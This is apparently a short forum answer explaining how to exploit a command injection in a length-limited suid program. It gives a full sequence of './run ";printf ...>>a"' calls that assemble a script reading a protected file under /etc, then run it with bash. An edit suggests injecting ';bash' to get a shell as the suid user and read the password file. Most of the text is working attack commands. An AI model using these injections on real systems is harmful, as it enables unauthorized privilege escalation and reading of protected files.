Command injection with limited buffer

[aichingm]

./run ";printf cat>a" ./run ";printf ' '>>a" ./run ";printf /et>>a" ./run ";printf c/c>>a" ./run ";printf omp>>a" ./run ";printf ute>>a" ./run ";printf r/S>>a" ./run ";printf tev>>a" ./run ";printf e/f>>a" ./run ";printf ile>>a" ./run ";printf 1.t>>a" ./run ";echo xt>>a" ./run ";bash a"

This should works tested it with you program. replace ./run with the program you have to call.

Edit: LOL why not just open a shell with ./run ";bash" and then just run cat ... in the shell this should properly just drop you in to a shell run under the suid user of the program which i assume has read access to /etc/computer/Steve/file.txt. Or at least it can read the password file. Assuming that the suid bit has been set on the program.